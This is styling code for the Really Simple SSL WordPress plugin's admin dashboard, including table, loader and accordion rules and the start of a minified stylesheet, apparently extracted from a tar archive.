.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child {
    padding: 0;
    flex-direction: row;
}

.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-user_agents .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-404_blocking .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child {
    padding: 0 25px;
    flex-direction: row;
}

.rsssl-content_security_policy .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-permissions_policy .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-user_agents .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-404_blocking .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-hardening-xml .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-two_fa_users .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-firewall_logs .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-learning-mode-delete,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-learning-mode-delete {
    float: right;
}

.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell:last-child div,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell:last-child div {
    width: 100%;
}

.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell:last-child div button, .rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell:last-child div a,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell:last-child div button,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell:last-child div a {
    margin-left: 10px;
}

.rsssl-limit_login_attempts_event_log .rdt_TableHeadRow .rdt_TableCol:last-child, .rsssl-firewall_logs_content .rdt_TableHeadRow .rdt_TableCol:last-child {
    justify-content: flex-start;
}

.rsssl-vulnerabilities-measures-overview .allowRowEvents .wp-core-ui select {
    max-width: 100%;
}

.rsssl-vulnerabilities-measures-overview div:first-child {
    white-space: initial !important;
}

.rsssl-vulnerabilities-measures-overview .rdt_TableCell:nth-child(2) select {
    max-width: 100%;
}

/* EdgeCase: Permission_Policy */
.rsssl-content_security_policy .rdt_TableCol:last-child, .rsssl-permissions_policy .rdt_TableCol:last-child {
    flex-grow: 1;
    text-align: right;
}

.rsssl-content_security_policy .rdt_TableCol:last-child div, .rsssl-permissions_policy .rdt_TableCol:last-child div {
    width: 100%;
    display: flex;
    justify-content: flex-start;
}

.rsssl-content_security_policy .rdt_TableCell:last-child, .rsssl-permissions_policy .rdt_TableCell:last-child {
    flex-grow: 1;
    text-align: right;
}

.rsssl-content_security_policy .rdt_TableCell:last-child div, .rsssl-permissions_policy .rdt_TableCell:last-child div {
    width: 100%;
    display: flex;
    justify-content: flex-end;
}

.rsssl-content_security_policy .rdt_TableCell:last-child div button, .rsssl-permissions_policy .rdt_TableCell:last-child div button {
    margin-right: 0 !important;
}

.rsssl-vulnerabilities-measures-overview .rdt_TableRow .rdt_TableCell:last-child {
    overflow: hidden;
    text-overflow: ellipsis;
    width: 200px;
}

.rsssl-content_security_policy_source_directives:has(.rsssl-shield-overlay) {
    min-height: 250px;
}

.rsssl .rsssl-new-features-block .rsssl-grid-item-content {
    display: flex;
    flex-direction: column;
    justify-content: space-between;
}

.rsssl .rsssl-new-features {
    display: flex;
    flex-direction: row;
    flex-wrap: wrap;
    gap: var(--rsp-spacing-xs);
}

@media only screen and (max-width: 1599px) and (min-width: 1280px) {
    .rsssl .rsssl-new-features {
        gap: var(--rsp-spacing-xxs);
    }
}

.rsssl .rsssl-new-feature {
    width: 100%;
    color: var(--rsp-text-color-light);
    display: flex;
    align-items: flex-start;
    min-width: 0;
    gap: var(--rsp-spacing-xs);
    text-decoration: none;
}

.rsssl .rsssl-new-feature .rsssl-icon {
    margin-top: 2px;
}

.rsssl .rsssl-new-feature .rsssl-new-feature-desc p {
    font-size: var(--rsp-fs-300);
}

a.rsssl-skip-link {
    display: flex;
    justify-content: center;
    margin: 15px 0 20px;
}

.rsssl-two_fa_users div[data-column-id="5"].rdt_TableCol {
    display: none;
}

.rsssl-two_fa_users .rdt_TableRow .rdt_TableCell:last-child {
    flex: 1;
    display: flex;
    justify-content: flex-end;
}

.rsssl-two_fa_users .rdt_TableHeadRow .rdt_TableCol:last-child {
    flex-grow: 1;
    display: flex;
    justify-content: flex-end;
}

.rsssl-two_fa_general .MuiPopper-root, .rsssl-two_fa_general .MuiPaper-root,
.rsssl-two_fa_email .MuiPopper-root,
.rsssl-two_fa_email .MuiPaper-root,
.rsssl-two_fa_totp .MuiPopper-root,
.rsssl-two_fa_totp .MuiPaper-root,
.rsssl-two_fa_users .MuiPopper-root,
.rsssl-two_fa_users .MuiPaper-root {
    max-height: 30px;
    z-index: 15;
}

.rsssl-two_fa_general .MuiPopper-root div, .rsssl-two_fa_general .MuiPaper-root div,
.rsssl-two_fa_email .MuiPopper-root div,
.rsssl-two_fa_email .MuiPaper-root div,
.rsssl-two_fa_totp .MuiPopper-root div,
.rsssl-two_fa_totp .MuiPaper-root div,
.rsssl-two_fa_users .MuiPopper-root div,
.rsssl-two_fa_users .MuiPaper-root div {
    font-family: inherit !important;
}

.rsssl-two_fa_general .MuiPopper-root ul, .rsssl-two_fa_general .MuiPaper-root ul,
.rsssl-two_fa_email .MuiPopper-root ul,
.rsssl-two_fa_email .MuiPaper-root ul,
.rsssl-two_fa_totp .MuiPopper-root ul,
.rsssl-two_fa_totp .MuiPaper-root ul,
.rsssl-two_fa_users .MuiPopper-root ul,
.rsssl-two_fa_users .MuiPaper-root ul {
    max-height: initial;
}

.rsssl-add-button__inner .button {
    display: flex;
    align-items: center;
}

.rsssl-add-button__inner .button .icon {
    margin-left: 8px;
 /* Adjust the spacing as needed */
}

.rsssl-modal {
  /* spinner for React Icons */
}

.rsssl-modal .rsssl-intro-logo {
    width: 7em;
    position: absolute;
    right: 1.6em;
    height: auto;
    bottom: 0.15em;
    margin: 0;
    padding: 0;
}

@media (max-width: 768px) {
    .rsssl-modal .rsssl-intro-logo {
        display: none;
    }
}

.rsssl-modal .rsssl-ssl-intro-container .rsssl-details {
    display: flex;
    padding: var(--rsp-spacing-xs) var(--rsp-spacing-m);
    gap: var(--rsp-spacing-xs);
}

.rsssl-modal .rsssl-ssl-intro-container .rsssl-details .rsssl-icon {
    min-width: 25px;
}

.rsssl-modal .rsssl-modal-footer {
    padding: var(--rsp-spacing-m) var(--rsp-spacing-m);
}

.rsssl-modal .icon-spin {
    animation: spin 2s linear infinite;
}

@keyframes spin {
    0% {
        transform: rotate(0deg);
    }

    100% {
        transform: rotate(360deg);
    }
}

.rsssl .rsssl-locked {
    position: relative;
    z-index: 0;
}

.rsssl .rsssl-locked.rsssl-locked-premium .rsssl-locked-overlay {
    bottom: var(--rsp-spacing-s);
    flex-direction: column;
    z-index: 0;
}

.rsssl .rsssl-locked .rsssl-locked-overlay {
    display: flex;
    bottom: 0;
    text-align: left;
    margin-bottom: 20px;
    padding: 0;
    z-index: 0;
}

.rsssl .rsssl-locked .rsssl-locked-overlay.rsssl-premium {
    bottom: 0;
    flex-direction: column;
}

.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-header {
    width: 100%;
    flex-direction: row;
}

.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-header .rsssl-locked-header-title {
    font-weight: 600;
    color: var(--rsp-blue);
}

.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-content {
    flex-direction: row;
    width: 100%;
}

.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-footer {
    display: flex;
    align-items: center;
    justify-content: flex-start;
    width: 100%;
}

.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-footer a {
    position: relative;
    float: left !important;
}

.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-footer::after {
    content: "";
    display: table;
    clear: both;
}

.rsssl .rsssl-disabled .rsssl-field-wrap .rsssl-locked {
    background: transparent;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-hardening-xml .rsssl-locked .rsssl-shield-overlay {
    align-items: center;
    display: flex;
    justify-content: center;
}

/* Accordeon */
.rsssl-accordeon {
  /* Basic styling for the accordion container */
    border: 1px solid #ccc;
    border-radius: 5px;
    overflow: hidden;
    transition: all 0.3s ease;
}

.rsssl-accordeon__header {
  /* Styling for the accordion header */
    display: flex;
    justify-content: space-between;
    align-items: center;
    background-color: #f5f5f5;
    padding: 10px;
    cursor: pointer;
}

.rsssl-accordeon__header__inner {
  /* Styling for the inner container of the header */
    display: flex;
    align-items: center;
}

.rsssl-accordeon__header__icon {
  /* You can set a background-image or other styling here for the icon */
    width: 20px;
    height: 20px;
    margin-right: 10px;
}

.rsssl-accordeon__header__title {
  /* Styling for the title text */
    font-size: 16px;
    font-weight: bold;
}

.rsssl-accordeon__header__button__inner {
  /* Styling for the button inside the header */
    background: none;
    border: none;
    cursor: pointer;
    font-size: 18px;
}

.rsssl-accordeon__content {
  /* By default, hide the content */
    max-height: 0;
    overflow: hidden;
    transition: max-height 0.3s ease;
}

.rsssl-accordeon--open .rsssl-accordeon__content {
  /* When the accordion is open, show the content */
    max-height: 300px;
 /* You may need to adjust this value */
}

.rsssl-accordeon__content__inner {
  /* Basic styling for the inner content container */
    padding: 15px;
    background-color: #fff;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-tooltip-icon .react-tooltip {
    max-width: 300px;
    white-space: pre-wrap;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap label {
    display: flex;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap label .cmplz-label-text {
    margin-right: 10px;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap .rsssl-icon {
    cursor: pointer;
}

.rsssl {
  /*skeleton*/
  /*loader*/
}

.rsssl .rsssl-skeleton:empty {
    margin: auto;
    margin-bottom: 25px;
    width: 100%;
    height: 235px;
 /* change height to see repeat-y behavior */
    background-image: linear-gradient(100deg, rgba(255, 255, 255, 0), rgba(255, 255, 255, 0.5) 70%, rgba(255, 255, 255, 0.5) 15%), linear-gradient(#f2f2f2 38px, transparent 0), linear-gradient(#f2f2f2 38px, transparent 0), linear-gradient(#f2f2f2 38px, transparent 0), linear-gradient(#f2f2f2 38px, transparent 0);
    background-repeat: repeat-y;
    background-size: 50px 200px, 100% 117px, 100% 117px, 100% 117px, 100% 117px;
    background-position: 0 0, 1px 1px, 1px 40px, 1px 79px, 1px 118px;
    background-color: #d6d8db;
    border-right: 1px solid #d6d8db;
    animation: shine 2.5s infinite;
}

@keyframes shine {
    to {
        background-position: 100% 0, 1px 1px, 1px 40px, 1px 79px, 1px 118px;
    }
}

.rsssl .rsssl-loader {
    margin: 0;
    width: 50px;
    height: 15px;
    text-align: center;
    font-size: 10px;
}

.rsssl .rsssl-loader > div {
    margin: 1px;
    background-color: #333;
    height: 100%;
    width: 3px;
    display: inline-block;
    -webkit-animation: sk-stretchdelay 1.2s infinite ease-in-out;
    animation: sk-stretchdelay 1.2s infinite ease-in-out;
}

.rsssl .rsssl-loader.rsssl-loader-white > div {
    background-color: #fff;
}

.rsssl .rsssl-loader .rect2 {
    -webkit-animation-delay: -1.1s;
    animation-delay: -1.1s;
}

.rsssl .rsssl-loader .rect3 {
    -webkit-animation-delay: -1s;
    animation-delay: -1s;
}

.rsssl .rsssl-loader .rect4 {
    -webkit-animation-delay: -0.9s;
    animation-delay: -0.9s;
}

.rsssl .rsssl-loader .rect5 {
    -webkit-animation-delay: -0.8s;
    animation-delay: -0.8s;
}

.rsssl .button-primary .rsssl-loader div {
    background-color: #fff;
}

@-webkit-keyframes sk-stretchdelay {
    0%, 40%, 100% {
        -webkit-transform: scaleY(0.4);
    }

    20% {
        -webkit-transform: scaleY(1);
    }
}

@keyframes sk-stretchdelay {
    0%, 40%, 100% {
        transform: scaleY(0.4);
        -webkit-transform: scaleY(0.4);
    }

    20% {
        transform: scaleY(1);
        -webkit-transform: scaleY(1);
    }
}

.rsssl {
    --rsp-brand-primary: var(--rsp-yellow);
    --rsp-brand-secondary: var(--rsp-blue);
    --rsp-brand-primary-faded: var(--rsp-yellow-faded);
}really-simple-ssl/assets/css/admin.min.css000064400000446627147510273070014631 0ustar00@charset "UTF-8";:root{--rsp-spacing-xxs:5px;--rsp-spacing-xs:10px;--rsp-spacing-s:15px;--rsp-spacing-m:20px;--rsp-spacing-l:25px;--rsp-spacing-xl:30px;--rsp-grid-margin:var(--rsp-spacing-s);--rsp-grid-gap:var(--rsp-spacing-m);--rsp-border-radius:12px;--rsp-border-radius-s:8px;--rsp-border-radius-xs:3px;--rsp-border:1px solid var(--rsp-border-color);--rsp-box-shadow:rgba(0,0,0,0.1) 0 4px 6px -1px,rgba(0,0,0,0.06) 0 2px 4px -1px;--rsp-box-shadow-dark:rgba(0,0,0,0.2) 0 4px 6px -1px,rgba(0,0,0,0.12) 1px 0 4px 1px;--rsp-border-color:#dfdfdf;--rsp-black:#333;--rsp-white:#fff;--rsp-yellow:#fbc43e;--rsp-blue:#009fff;--rsp-dark-yellow:#e6a800;--rsp-dark-blue:#1e73be;--rsp-green:#2e8a37;--rsp-red:#d7263d;--rsp-dark-red:#9b0212;--rsp-pink:#e35899;--rsp-wp-blue:#007cba;--rsp-yellow-faded:#fdf4df;--rsp-blue-faded:#ecf8fe;--rsp-dark-blue-faded:#ebf2f9;--rsp-green-faded:#ecf4ed;--rsp-red-faded:#fbebed;--rsp-pink-faded:#fceff5;--rsp-wp-blue-faded:#c6e0ef;--rsp-background-block-color:var(--rsp-white);--rsp-background-color:#f0f0f1;--rsp-input-background-color:#fff;--rsp-input-text-color:var(--rsp-text-color);--rsp-input-border-color:var(--rsp-grey-400);--rsp-text-color:rgba(26,26,26,0.9);--rsp-text-color-invert:rgba(255,255,255,0.9);--rsp-text-color-white:rgba(255,255,255,0.9);--rsp-text-color-light:rgba(69,69,82,0.9);--rsp-text-color-hover:var(--rsp-green);--rsp-grey-100:#fafafa;--rsp-grey-200:#f7f7f7;--rsp-grey-300:#ededed;--rsp-grey-400:#c6c6c6;--rsp-grey-500:#737373;--rsp-grey-600:#696969;--rsp-color-success:var(--rsp-green);--rsp-color-error:var(--rsp-red);--rsp-color-warning:var(--rsp-yellow);--rsp-color-open:var(--rsp-yellow);--rsp-color-disabled:var(--rsp-grey-300);--rsp-fs-100:.6875rem;--rsp-fs-200:.75rem;--rsp-fs-300:.8125rem;--rsp-fs-400:.875rem;--rsp-fs-500:1rem;--rsp-fs-600:1.125rem;--rsp-fs-700:1.25rem;--rsp-fs-800:1.5rem;--rsp-fs-850:2.8rem;--rsp-fs-900:3.5rem}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.rsssl{font-variant-numeric:tabular-nums;margin:0;margin-left:-20px;font-size:var(--rsp-fs-300);box-sizing:border-box;color:var(--rsp-text-color);font-weight:400;line-height:1.5}@media only screen and (max-width:768px){.rsssl{margin-left:-9px}}.rsssl *,.rsssl *:before,.rsssl *:after{box-sizing:inherit}.rsssl body,.rsssl h1,.rsssl h2,.rsssl h3,.rsssl h4,.rsssl h5,.rsssl h6,.rsssl p,.rsssl ol,.rsssl ul{margin:0;padding:0}.rsssl img{max-width:100%;height:auto}.rsssl h1,.rsssl h2,.rsssl h3,.rsssl h4,.rsssl h5,.rsssl h6{color:var(--rsp-text-color);line-height:1.5}.rsssl .rsssl-h0{font-size:var(--rsp-fs-900);font-weight:700;letter-spacing:.025rem}.rsssl h1,.rsssl .rsssl-h1{font-size:var(--rsp-fs-800);line-height:1.5;font-weight:500;letter-spacing:.025rem}.rsssl h2,.rsssl .rsssl-h2{font-size:var(--rsp-fs-700);font-weight:700;letter-spacing:.025rem}.rsssl h3,.rsssl .rsssl-h3{font-size:var(--rsp-fs-600);font-weight:600;letter-spacing:.0125rem}.rsssl h4,.rsssl .rsssl-h4{font-size:var(--rsp-fs-500);font-weight:600;letter-spacing:.0125rem}.rsssl h5,.rsssl .rsssl-h5{font-size:var(--rsp-fs-400);font-weight:400;letter-spacing:.1px}.rsssl h6,.rsssl .rsssl-h6{font-size:var(--rsp-fs-300);letter-spacing:.1px}.rsssl p{color:var(--rsp-text-color);font-weight:400;font-size:var(--rsp-fs-300);line-height:1.5}.rsssl .rsssl-small-text{font-size:var(--rsp-fs-200);line-height:1.5;color:var(--rsp-text-color-light)}.rsssl a{font-size:1em}.rsssl .rsssl-notice-hook-element{display:none !important}.rsssl .rsssl-divider{width:1px;height:1.3rem;background-color:#ccc}.error:not(.really-simple-plugins),.notice:not(.really-simple-plugins),.update-nag:not(.really-simple-plugins),.notice-info:not(.really-simple-plugins){display:none !important}.error.really-simple-plugins,.notice.really-simple-plugins,.update-nag.really-simple-plugins,.notice-info.really-simple-plugins{margin:var(--rsp-grid-gap)}.number_full input[type=number]{width:100% !important;position:relative}.rsssl .rsssl-header,.rsssl .rsssl-content-area{max-width:clamp(300px,100% - var(--rsp-grid-gap) * 2,1600px);margin:0 auto}@media(max-width:1599px){.rsssl .rsssl-header,.rsssl .rsssl-content-area{--rsp-grid-gap:var(--rsp-spacing-m)}}@media(max-width:1440px){.rsssl .rsssl-header,.rsssl .rsssl-content-area{--rsp-grid-gap:var(--rsp-spacing-s)}}@media(max-width:1366px){.rsssl .rsssl-header,.rsssl .rsssl-content-area{--rsp-grid-gap:var(--rsp-spacing-xs)}}.rsssl .rsssl-header-container .rsssl-header{display:flex;flex-wrap:wrap;justify-content:space-between;height:70px;box-sizing:border-box;background-color:var(--rsp-background-block-color)}@media(max-width:1080px){.rsssl .rsssl-header-container .rsssl-header{height:100%}}@media(max-width:576px){.rsssl .rsssl-logo{display:none}}.rsssl .rsssl-header-left{display:flex;font-size:var(--rsp-fs-400)}@media(max-width:1080px){.rsssl .rsssl-header-left{justify-content:center;margin:var(--rsp-spacing-xs) 0;order:3;width:100%;background-color:var(--rsp-background-block-color)}}.rsssl .rsssl-header-left .rsssl-header-menu{margin:auto 15px}.rsssl .rsssl-header-left .rsssl-header-menu ul{display:flex}.rsssl .rsssl-header-left .rsssl-header-menu li{margin-bottom:0}.rsssl .rsssl-header-left .rsssl-header-menu a{padding:23px 15px;text-decoration:none;color:var(--rsp-text-color);height:100%;border-bottom:4px solid transparent;transition:border .3s ease-out;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}@media(max-width:1080px){.rsssl .rsssl-header-left .rsssl-header-menu a{padding:10px 15px}}.rsssl .rsssl-header-left .rsssl-header-menu a.active{border-bottom:4px solid var(--rsp-brand-primary)}.rsssl .rsssl-header-left .rsssl-header-menu a:hover{color:var(--rsp-brand-primary)}.rsssl .rsssl-header-right{display:flex;flex-wrap:wrap;align-items:center;margin-left:auto;gap:var(--rsp-spacing-s);min-height:52px}.rsssl .rsssl-header-right select{max-width:60ch}@media(max-width:576px){.rsssl .rsssl-header-right{display:none}}@media(max-width:768px){.rsssl .rsssl-header-right .button{display:none}}.rsssl .rsssl-content-area{margin-top:var(--rsp-grid-gap)}.rsssl .rsssl-header-container{background:var(--rsp-background-block-color)}.rsssl .rsssl-grid{display:grid;grid-template-columns:repeat(4,1fr);grid-auto-rows:max-content;gap:var(--rsp-grid-gap);min-height:calc(100vh - 32px - 80px - 20px - var(--rsp-grid-gap))}.rsssl .rsssl-grid.rsssl-settings,.rsssl .rsssl-grid.rsssl-letsencrypt{grid-template-columns:minmax(235px,max-content) 2fr minmax(min-content,1fr)}@media only screen and (max-width:1080px){.rsssl .rsssl-grid.rsssl-settings,.rsssl .rsssl-grid.rsssl-letsencrypt{grid-template-columns:repeat(4,1fr)}.rsssl .rsssl-grid.rsssl-settings .rsssl-wizard-menu,.rsssl .rsssl-grid.rsssl-settings .rsssl-wizard-settings,.rsssl .rsssl-grid.rsssl-settings .rsssl-wizard-help,.rsssl .rsssl-grid.rsssl-letsencrypt .rsssl-wizard-menu,.rsssl .rsssl-grid.rsssl-letsencrypt .rsssl-wizard-settings,.rsssl .rsssl-grid.rsssl-letsencrypt .rsssl-wizard-help{grid-column:1/-1}}@media only screen and (max-width:1280px){.rsssl .rsssl-grid{grid-template-columns:repeat(2,1fr)}}@media only screen and (max-width:1080px){.rsssl .rsssl-grid{max-width:790px;width:calc(100% - var(--rsp-grid-gap) * 2)}}.rsssl .rsssl-grid-item{background:var(--rsp-background-block-color);box-shadow:var(--rsp-box-shadow);border-radius:var(--rsp-border-radius);display:flex;flex-wrap:wrap;justify-content:flex-start;flex-direction:column;flex-basis:100%;grid-column:span 1;grid-row:span 1}.rsssl .rsssl-grid-item.rsssl-disabled{min-height:320px}.rsssl .rsssl-grid-item.rsssl-two_fa_users .rsssl-grid-item-content .rsssl-field-wrap{margin-top:-50px}@media(max-width:1080px){.rsssl .rsssl-grid-item{grid-column:span 4}}.rsssl .rsssl-grid-item.no-background{background:0;border:0;box-shadow:none}.rsssl .rsssl-grid-item.rsssl-column-2{grid-column:span 2}@media(max-width:1080px){.rsssl .rsssl-grid-item.rsssl-column-2{grid-column:span 4}}.rsssl .rsssl-grid-item.rsssl-row-2{grid-row:span 2;min-height:400px}.rsssl .rsssl-grid-item-header{width:100%;box-sizing:border-box;display:flex;align-items:center;justify-content:space-between;min-height:calc(30px + var(--rsp-spacing-s) * 2);padding:var(--rsp-spacing-m) var(--rsp-spacing-l)}@media screen and (max-width:1280px){.rsssl .rsssl-grid-item-header{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl .rsssl-grid-item-header{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl .rsssl-grid-item-header:empty{display:none}.rsssl .rsssl-grid-item-title{margin:4px 0 4px 0}.rsssl .rsssl-grid-item-controls{font-size:var(--rsp-fs-200);display:flex;gap:var(--rsp-spacing-s)}.rsssl .rsssl-grid-item-content{flex-grow:100;width:100%;box-sizing:border-box;padding-inline:var(--rsp-spacing-l)}@media screen and (max-width:1280px){.rsssl .rsssl-grid-item-content{padding-inline:var(--rsp-spacing-m)}}@media screen and 